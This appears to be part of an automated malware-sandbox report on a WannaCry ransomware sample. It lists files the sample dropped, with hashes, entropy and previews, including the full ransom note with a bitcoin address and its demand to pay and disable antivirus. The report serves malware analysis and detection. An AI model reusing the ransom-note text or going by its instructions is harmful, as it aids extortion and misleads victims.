                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):6856
                                                                                                                                                                              Entropy (8bit):7.97010426349634
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oO8usMimnCQXhxsCinPDio+9a6A4+/0+4u0oWCGiQ715Pk/CBpf04hYyCj:l8usMVvXtiPDs9a6AR7blGR5M6pMU4j
                                                                                                                                                                              MD5:A10A2498BA13B1122DA5E289A2E135DA
                                                                                                                                                                              SHA1:584518039B1C8E6CE491147B543A9DA8495F36A9
                                                                                                                                                                              SHA-256:9DB1FC0F2E2744AC55DBED7AC655CC8FC879CE9410D2792219CEFB964314CE17
                                                                                                                                                                              SHA-512:CC476A294B7A98DA518D7C40ED3FBB6E7897D9E1497F9473F7366E9122DF01D28D542B5B29243EDBE491AAFC0B8918E04AF06616C10A35FA9A48BA96D150D70B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....1|.M.qU...L.~{.L...hmK/.....hCy.....~...~......G^.I...C'...t5.`.4....!J.}e.BC..e.b.Z..o.e..6+.~...!.5..............;99......$av8x....ys}...j./..'.9A}......x.......|...'.t.<..1.S....n5......:][.^r......]v...y.\a..&...D...n..1A....9l..LVUIR.k4.:..w..&..............Sf.N...'..+z8k...a.3..P.1d.i.s.7...1y.j].3...~E.K...a.g'5m.....D.4..nKOr(J$l...3..o^J.C.I.].....#3.!g....V...]P.^[NL&.O........);../v.PN.e..{..........>..2`.W.x..vp.."._F.sC...i.!.#.^M.&...];.K..%t..|,.X......5Gvn.......8..........j.............gTtOk..........O4....n9..s..,...%..9.+.q%...&L>.)..l.k.W...u...9..s!..[....P.>.&l"...c......e..S\3Y0.%$.Q.).P.:..W.....l.9.9|d<r....2Sgz~....R....=jk:.B..I.1E.P+V..~.......l.......S/.4..d.V..{....Pf".3...OK..9.4.d....NV.Y..*tt(...F.<...,.T.# b.o.8.......A.9...D.Us...m"{.b.....N.v...[...{....9....2"#x.'L..I.R{.CD..:.*ql...2.$.m.M.Onk...-.L..4.B{..*.^g.zf&&i.........\}.....5X.b....J...ie...WT.......o. .pI*..9`..pS#K..._...D..2.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{5B246DB7-240F-41D6-864B-DFEAEA6DE058}mt45299826.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8984
                                                                                                                                                                              Entropy (8bit):7.980255028495696
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:EjuwyAyChQQ3jxcuvJkpI324V33S+O4/zuUUd/K1eImi+:XnRUjCuvJkpsHVHSlozuUUd/K1eI2
                                                                                                                                                                              MD5:0E7B75FC20B52A1691F94B24D3F22F2F
                                                                                                                                                                              SHA1:4DBC8DFF85683D71C0E94FD7E2EFD7FBB3724860
                                                                                                                                                                              SHA-256:E248CFE268EFDEDC6F36A3892A52DB990B2CDBF57AA7CB97673D15267BF68134
                                                                                                                                                                              SHA-512:097FD5A74E0ECC692C13C96600F8F610DBAA8A2A2244B47EE4814492425CE3D231FED6E0A762EB25BDFF06039E2835D00B42AF334C6812FE603AADECAA1A4A34
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....`.qA....JN.*...=.v..g....>.-.......$.6..|?m@..=...0R......M..C*..6g...0....T.......j.M..N...r...!.wm..-....HDhe..6j.\........;.D.[...c.e.}........._;9..*Y.l..P..7.10Xx..&p .q.w..s@:...{..!....!....$...C.+.8d5........j...k...a.pl..............!......l......]..MN..Q.JK.Iw.{...GSi.~>.k.\.~..O.S...<...'A.^....D.n;;....E.....o..DD..:.&..(Gu...J.;jL04../xu.E......nA..._...M.l3..b......u..&.a)K-We..y@o..../..P....[.:JJm.\.)...Tf.....#.{....`^...}....F.q;u'....J.X..j.C.i..-.c.(..nK...(.wD.I.......b.Z..~.nG..)+.C..t{...zq }D<T..6..|...6.WB...]..]..a.8.......C#.-.o%..V.@.3........e....|.;......F.=....b.`g..1}..Y~I..:.....JB.....l.....?j..\we....9We....Me~ 5o...g..AQL......m..]g#..g........%v|.5....K..Sa.j.....T....y....|......6..<.+?..X-..t...c).8q..........y. .d.R.`.g:{..t.[....'o.fo...`..\.+...br.j.9nk .v.8%I.G. .d.E}X.~.\}"A[(....k....B.@.8...n..#.....a.O3.............a....M.n.8-j.....4W....H..DeJ..E..E.i.%..

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{7799FD4F-1C90-48A8-A66A-C0E9B8019F3B}mt16400647.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7384
                                                                                                                                                                              Entropy (8bit):7.978765065706144
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:1h/zLgobM63d36s87nrOi/aHAldjhrgIW7UMIT:1h/FNqs6rVaHYdj5gI+zS
                                                                                                                                                                              MD5:7B4B48C3D0925F302A6AB61708D855FB
                                                                                                                                                                              SHA1:4955E0D076FA153B944FE516A5C8D3775D095A2B
                                                                                                                                                                              SHA-256:3CBD8EAC65E31C8E32A021FAA23C9C8E093E8E73C02CF2E986C1AAD14316CDAA
                                                                                                                                                                              SHA-512:B0703FDA1DDEEC6D0FD0F6193F5CF568171A49E56AD9131E6AD809A7173A77B5CBD2BBE005082B442AC2986DB58770F82BB673B02F90312981982FED8B8FBDFB
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........).c..6....Vb.{..?.>Q......?^%..f{PS".Y.3..IdL.3.{.....N..C8...E.R.h......L......,|.2.R.c..q.a....].....R....'..=;.&/e.>9......$.....Z`.3<r%!..4.v....y4..j......V...$...V2...ua.D....J...`+.2...u.......-G.)#I.....O...xl5.h......).<?.r.E/.............1......*.S.J..b..f...[.....T.e+.(.'..-h..|We..y}Y/.j..]!..E>.mP..`>./...........Ip'S.8........a.!....@.G0......&.p..................L..e.iAZ.Q.....+.. k......yL.#.UC.P......}./..lQ....v.U)W.J?7....IL.h...R.y......u...|y....;N...i..-...BL..8W.s.F..S....D.*'.....L.J...Ja}n....y......W".....W0.....f.}t|..98.mg.^......\.7..&..I:"..._]I..I......{yi...$p..]W..M*...l.;.#...m.......v....]W...Z.Ld..Z....)<R.z}....t.w].../.Z>fg.....".....O..h...<....o..Q.[..."r.6.N".4..k!.@...I.t..&.......{N...Z....}J=7%.}..r...)....a.7.FQ+.X+.v ..pg.h.S....E.?......D......-\...w...9.W.L..S....X.OU.R........K:.kL/......p...$v...u<qY.....s.A.,b.......0..#.'......H](:......q3.....r....<.{}...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{90890CB0-F806-4021-BE9C-4EB97114B98E}mt10000137.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):5240
                                                                                                                                                                              Entropy (8bit):7.966644240956555
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oU1yw3U3Zay0AEPONaWAHIQCbn02lZa2SGQ7YiOmNXVqJ4hA0lOOVvs:zswk3MBPONaWaIQ+SGK/lMqhA0ltk
                                                                                                                                                                              MD5:1D52A2DCBE65AA811A5298AAD0FCC244
                                                                                                                                                                              SHA1:98D58003752BE6CA4C48236E0A9A732CB6708911
                                                                                                                                                                              SHA-256:284C364A30714340E3B02A9E89F5BD2AA872480F0F0B28BDFAEC4574207C6EE2
                                                                                                                                                                              SHA-512:31467285689F10E4988065D1C136D7418C044A94688D8D74E1EC906DDFF956A33D0F883917C25E69A7DFEE3D3CE1E5A0962F4B8694FA9A0EEDEB163DB3C0CEC1
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.......,e..cq...].9`hE....L.C.E.....9.C...Sy..(....|.i9.......(..F....6.".A...y.O7.a.....:.9..[.;`.......;...fq...{O&w.....'.....0..$.sj.;........{......b..D]_9.Z./~.],5.\t...oj...g.t....F..r..>.S.ED..7....m^....}...8e........RB...........U.....R...._........R...>U.. ....m..zx..k@g1....gNOX.:S..V.}..-.:h..*.~..ECU.6..j...AF..g.n.RQ*y..Tak....Ng....2.l.<.2.L..nS`....H....4.^..e...^z...J..F..|..]...E.SiY..8....T...;).-.R......Vs...IaW@..?..8..$......J.M_.....i....G..Q./..+.7'..Z..}.Iqr0...p...+\..-..e.|.......)........gJ..-e.>lT...m............M..ki.]~W...O$u.77?z...U....Zz..52c4.;c.<.8.e%.*vf.pMy$....n.HL49e..... "E.+Iq..r....3h...F.p.z.lO..#./+.h.. .l...v..f .WS$....?..z$..f=.........g&>.a6),4..@T..Z..H..-B.*j.LpN.......5.b.o_.k....6...=......e.....T86.-...gn!r..E....S.*M.!...q..u..~{F.1....ghxz.?.x@.a..=-..|}+...m....}P..j.....f..C..=.$`s....3..)~.C..i..J.Pk....*......4.8iGdQ.~....7.[.0"..-........?...vq.C...].D.].*....8..J8,n......}N

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{9AAA6158-70E1-479D-AF72-1A54FF1CC6EA}mt11829122.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):14408
                                                                                                                                                                              Entropy (8bit):7.987686677218181
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:384:kMlQ1U4rdgTdCI72wrWfhN6rlRIB0BeRl0:kMlMU4xgw22hP6rnIBD0
                                                                                                                                                                              MD5:3A3C8B2F0EAAF9EC30ED1CF7D36B9A90
                                                                                                                                                                              SHA1:46EA1D497009665D5AF39AE043E2C603D165F17B
                                                                                                                                                                              SHA-256:861D45481F5C8B591267AFA57B0AB5AE95B6C932567CC37AA12385A96B5F722D
                                                                                                                                                                              SHA-512:A5D636BB6572FEB1DDC872985CC7B2839CD30EF1928531A17635E4C1B3BE1E0995435A9E08342E13DB2F8825BE62DB71180A862C307FDB0F9857E88AE353D85C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$~.[....t4........]w..6.U.........]e.:.8(......6(...."..].g......$p~Z..#.V..u3....7{C=..X.j.DC.@.fQ\f..."....zn.z.ezaZ...6...#.t%..\.......-.v.......r.l8....dZ..c%.K..>..A..v$..E.../..1..P~.....9.4.....@..[.Bb'&.|....~E.rk)w.c.O2#..?........+7........(.).-z8@.......y...|:.H....u.x.3./b.%..>m3..?....5[.`.e.%.v.............n.kx$..lOh>.k..?. .p....<{.@.@.-..k.....Z|_..*...h..7-..#.G....j.6.?....I..G{?.......x.T....R.,E.2.h.......dd.d..m..+..8..l22.'..8..\.)"V].lS.EqV....p....w}..~.@...o....nv.._S..E.9......oL..Mh.....h.3r...F.;[...Z.r.?Tp......../. j.8.._}L..ISx...._d .=...:.........."...!...l[...\l?....@;.AW.ZXk...o..*|...j....K...M....9X.:..i).. .H..H..`:.J"...._.R..|p.......KE.".......+.>8Z..9.J.@..2...t@.\..oj.@..w&]x|..n.T)...e...d.F....}1......$=...oe;g4.W.qU..J.80.AA?.q...q.B.N...u."....tG`h[m?.m`......F.c.p..LA] -R...4.........W.fq...j.....8f......../.H....y......k4..W...k8...]l...Z.#.............,.Bp."s......w.....1m.~

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{A1BEF0EC-55B5-48E6-88B2-B090A79161EF}mt66963475.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7944
                                                                                                                                                                              Entropy (8bit):7.976091648048612
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:cv2eR/CKfWveNOSG3ttdcglKtDuGmdhnvpVrqRQxI1rqXi:cv25KOveN+/cvx3YhKubi
                                                                                                                                                                              MD5:FCE61F1534F800889BC0D3797B12F58E
                                                                                                                                                                              SHA1:63B180EC85A996EA89D843B1F8396E53D044A507
                                                                                                                                                                              SHA-256:AB72E5310C9D5E5C2F5C0F307C001ED2A1B78EBF9BFA02AF4ABF70317E388922
                                                                                                                                                                              SHA-512:D31BE74D99726C5C1AFD3B8869D3505C8F4A4184930FA0F8F2F8879118D0302A6A0B81540EECC1B65DDEB8C57BEBBCDF0E6DCDA403D004EBCD4CBFDE952356B7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....A...zy>....U...D..)..5rC.!.b.-r.]>.R.. D.()=M.7..e... Y<.2.I..Ob..'.~C?..d....g.EQ.2GGu.@.?ZE.F9.P......d.x.cd.x.4..;4Fr<m.(1..>.......e..d5...C...M\...vu\.....u.'a.*vR...c.."...=..A...8..7~...\.n..`./I.E......HV.|a"...X..K....i7.G.g..'.,F.e.B...............r..O]..M.^Ba....] .R...`..Q."{ .K_M...F=A.../..%..I.GU.A"O....Uy.#$..2Np:...t)r.._...Pp..j.K...?w........|_>..'].5Ls... p..F. .%f.....x9)..\..>`...32..R6...<.V.h....M..=..16cfn...A......!...../2l..{..5.'......Z..CY..._b.Z..,8..X..wP.O-..s.-Xp.../.k:v..l.a]E.DQF.k.[...^fu......%..1..D.f..qi.]....hB......EDg.2....+..\w....r..........!.k}...K..P....V&.f...;y.............CFUH....CB..,..n.+. *t.%"....m.Rs.(o,_........3<.2.\.Dt7;..5..T.D\$;b......|^.!f.>z:.l.wR6........d.j.I.3Q..8.iE..87...B.x.P.{...f......t....f.=....Y..i....o...b`...............G_j/"<N...c....u.@..m.n.9?#.$!%.9...a.x.......K..?..`E=..L+...{+].~j....Q.(.:.F.C........rX.f\z.2..b..*..?*.Y.`@...yF..J*qPiF $V

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{A5457EB8-A2EC-4B00-8476-18B7C878AC51}mt11414620.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):8840
                                                                                                                                                                              Entropy (8bit):7.982398353674468
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:13Pup2levKXdU+DKyj8WS5RyiKYZeNrIJYcUI:IAleSX3D98VUiKY8NS
                                                                                                                                                                              MD5:C1C7413C36577E01E215FFF18ADC276C
                                                                                                                                                                              SHA1:37F51D52B497FABCCC9A8ACF8F45ECDFB9BDBB6E
                                                                                                                                                                              SHA-256:FD6380613F7596E9FB2E215D64AF2BD98BFA7B881B0C164EE9BBC13FA0335578
                                                                                                                                                                              SHA-512:2368218712B293A2C1A9085EC98C275667C31E5222E557BB7E472C9C0FFED7A9062F64B16F5EC8393F59705F43DC12A6DA6F320CD7C80A8D961703310BB81A87
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....`.p........%......+7..T.l.].....V....."..@5..?.go..w......S.<.m`H....s<....D..h...=..#D.^.....~>....-.+..$Nz){`.W9....@......o....o.qlOv....e~.......m...`.... 3,..J8..8.a`:h.:4i9h5Y.y..\..^.d..2....% ...G..s{.W.M..&..t......gi.3X.#S....i!......@v..(av|..*.....y_.x.!Xi..g....V.......3.`.,..z7..L.........w.7..u...n..h.@.@.a..a .g.f...x*.]..+~........B..H[...n.). M&..d......&S...t.o...y.....u'.*.v..m...1.......8&g........A<.d.Y....Of.z........e^........%|....=.4:..`NAX..O..D=..izAQ.[../..0t.s....~....v.&.-.XC.=..k5.yQ.N`.4n(.D..R[.w5.D..q..Sr...[4..a...y.d....j.a.n@....t...I@...R.K.G..j[....Z..M0(.E..l.|4W............@..i!...T.#;.....@....E.5......yO...P..!..r..TyRX$....a.......z......X..r,..A.Gx.X.F.F>.K....9.%.h..yB...|...q:}.K....K.+M9B..`.....+$(y......C..?q8...v.n..#..i.Ie.,.|..5...d.............VS.... .Dq..U....9.H..FK9=&..8...e....#I.7s...j.J.)..`....^}.v.D7.e..E=..l...;=........u.......N....../\|...t..w..D.2p.

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{C0938256-70FA-4461-B929-0017BA34D5B2}mt67739505.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):9032
                                                                                                                                                                              Entropy (8bit):7.979108947408589
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:YlDswjg5yI86J5RXguI23SJgW5qVGkjTJFCcb33K1:SnjgwaPhmVhroLCA61
                                                                                                                                                                              MD5:55388621C5C258911ABA19B7E46D9040
                                                                                                                                                                              SHA1:855A2025345B9E1626A438108426D40EAD97284B
                                                                                                                                                                              SHA-256:EB715DF6698275CE2038ECC7DF8FF3700E23CEA1ACC4A95343E5CC80DA378626
                                                                                                                                                                              SHA-512:384E89A62529AAF0C2FB79351BFC67C694C7A9A6BDF71E1B89ACC00DD1D391D37ECA54C469302B7E0C2CCFE4FB243F7005C0FC001011E17AB9CA054B2F4760C8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....[..T.Z....}..G....Y..Gd....j..)@..YbL....o....'.{}w.oF.Y..o..G7Nj6.......|..|.D.-$......v.......1m..%.L=gC...&8.<I...t.V..y="=....u.lM.9...T.$.lGd.....FgR>q..(U.....Y.~......).....b..2...L.V.Z!.)...s.?..R...:.w.../.g...%yN......].........*".......y.f.1.3.t_.>...H7..rz.F..`.Ym....m.h..D5..G.<.....d.Q.#...'...i.OY./.y..h_..O.M.`.xo."..h.&]Mf....1.N.6..]b.g(....1a.E..*.M..~...#5.[.8.Y&...45..=h......@|..;V.wI&..X......K...2:.-n...).../:F.e.`6..0...k.E.....A.}..M.....A...'.so...1......\<.P..Q.T.....%Z...(..&....A5.>x.`...i..Zf...J..;0.h5.@.......E......P.!O....804....h%...{o.H.LJ.....EE2Zw.W...|...-./.K.........RS.....nz..1b...'...Fh..Q$P..BY.9.K..eZX.'sZy.\gpN...A....(FR.s....!..C9.~)..*D..2......j.j.w....O[....v1.u8....9..7.P....'~cM.R..&.B.......b..1.T.....V.\%=.D..G#v.~\. }.+.{(k..k&h'.+..D. h.O.....Z...u.[..e.[.W...9.....r..!..>..........@.i...|.l.LQ.8k..X....R."...~)...<;.......d6.:....I<..e..0Ft. .....-"Z..C.2^

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{EDAA83FF-51D7-4824-B535-F72B715C4190}\{F34ABF88-5BB8-4FAA-874D-A832315461CD}mt16400656.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7032
                                                                                                                                                                              Entropy (8bit):7.973235650070179
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:192:wyGCPhbTfKx7LyO7PJNvtFv+30JabwzRmRs723+qFHSxTCk:wxCPFfKxXyOlHFv3Gw0m72uqFyxuk
                                                                                                                                                                              MD5:902FDE8C9412918F19BC4DDB055FBCE7
                                                                                                                                                                              SHA1:07B6DF492A8E8E28230E98E4BA022B165B2F224B
                                                                                                                                                                              SHA-256:D58C9C3EA7AACAED7A1A6B8B801A01089015ACE0D651824B3E1872698835BE40
                                                                                                                                                                              SHA-512:89F70E1960C3C0F4474D982FD5CB658CC835CB6C395929E672B9CC60BE9377995532BF07E2649528ACE0F6A062EF93E178F42A86DF8AB07589FBE67AA171963C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......y...u.....=...,.#...x...j..H....w..2.....L.Y .e....Z........0.6?h...^.OT.lw.]|......q...=..+.:...D....D4X:...S.x~.s.7......\.Q..xt..&.....,`.h=..x.M3.{[...U......D..."...Q....*..%....wn.[..+.Y$.T.NN.=...<I..U.*.<e.....-I..i.Q...i.:.~n.d..my.U....T........g.'.>C;..B.p.....@...2...5Q.....U...?h>Y.+.$/C4..b..@.i..-.`-.k.tsC{5...J.v.....G....7..........7.^\...X@,.....AM.G......4....5..q..m..u....I-a.B....jl...yb.q....c.....T...3..o..1......0X.%_.'%e.....F3.....\Q7.}0O.:........p...T..W@...S........_..F.{...n.HG..J.C.........a.....P..>..J.....&r.......S.....%a.......y.R_)zx..KY...@.j..D...af..8M...{._.P(.,.....n._.~.v.wvu..j.p.%..............6.1k0{.R....d.......{.#.....[.qo...S.+.[H..[........&.b.I..6.f..x9#.y..>.l.0..}.t..]....W..j....mi{q.A..h.4+..........RB.-..t...*..L.P...+.}..........b.Ld.W....#;VS+.y...F..$%.W.Zl...K.G7...Z...h.L...?....7w.t..P..^`..........9....X..l...(.....DQ.a.....wNz.g.c.A.J.5......}.qa.cw.^.?....6m

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1048
                                                                                                                                                                              Entropy (8bit):7.775981258390963
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bktYklIEEng45kHNkbYLJ+AZzU/Ns72jWSEQtGhnLCd96lOPlbYl2V:bkC+zS15ktAYLJu672jsNA4lPo
                                                                                                                                                                              MD5:80AFE30421A32EAE42C25F2FEA1A635E
                                                                                                                                                                              SHA1:CB3DB96007AE5610E6633FA7524433051F6F4DEF
                                                                                                                                                                              SHA-256:6E59EAB76ED0902BD73C439B0FBEE689CC972067BC6497A62675FA28D5D4E5F5
                                                                                                                                                                              SHA-512:F3C0A20FE5887A3BE91F291CF302D337303EC9A3CA5067F71E7BECF5DDC2CF5AB5D2817D4852C001ABC0BBAA5A31DB7EFEB217D05136907BC529FF0C23CF3D74
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....A?cW.k.....>A..yG}}.A]<........S|.2W....3.F,f.J..v...U...{....*..Y.+../........Jk...^........7...x...'..da$E]..Tm.L;..]XO..j....zr...s...\......S.0B/6..VF..W#.V.S6.....w.4n....QV..8t..=.....J).u..?.]...u.@.`Z%7}..s..cFr.xf...........G...................O..?.'ZG..'.|0.<.....k'.......6.cDb^..5.I......"..x.b.1U.H....<..]..+{......n.cQ~..V!....S..k.a..&..'..J-..8Gi(.(.....=|..p/...E*.........a..O._.......;eg.f.#..*.....Z.3...wgYfZ...8........wG.-.\.m@..."Y./.M.....x._..^.+ . );.w.S..G8gK.....z.wus.Ch.s.)=e]..Zmf .'C......u...P.....V-.I..IW..4.V;..s.mq.f.Q....{...Z.4.?..|......T.$=..._.d.wB......A*/...v]...Z..?.2,.tC..Ca9.[&..].....+N.P...&.;Mf..k../BA .y+.g.~..Bz......c.c...........ZG......~$..Y6S[yfsP.&...'x....R..U.=s..b..X...;V.J0)..?.6P..~.0....G.*X..../...n...2v....Y...[..MP.iE./_Q.m....%R1.fj.0.l{y....;.M.-....za0.^..6%......d..M~b..L.*...A.....0.t1re..{...7F........."..h...5&.<B.+..#...'.r..z;[..sd...f\7..q..'7.....1...

                                                                                                                                                                              C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):24856
                                                                                                                                                                              Entropy (8bit):7.9913743253290495
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:TlTBTIb0mkclevGpj52cudCGIBz1X674ljJziEoce:jIb03L2j52cudFIPNlld2
                                                                                                                                                                              MD5:449334FF17F19B183F62E4AD9475E6B8
                                                                                                                                                                              SHA1:F7493CE50B3940A3C3676BFCED5E89F8F992A6CA
                                                                                                                                                                              SHA-256:6B6C6CEB9980BCD0D0CB5C4930C664F23EE315231BCDE2648EF7EFE553B3A27E
                                                                                                                                                                              SHA-512:44DF185A39E1D02A8E00777C49908B7717C2D0C26DCED7BCAEBA987DDD95F55C21BE23926E1A82268B45E60C12BCADABFDFAFB773540C5FE8D9BC2F6AE434DE4
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
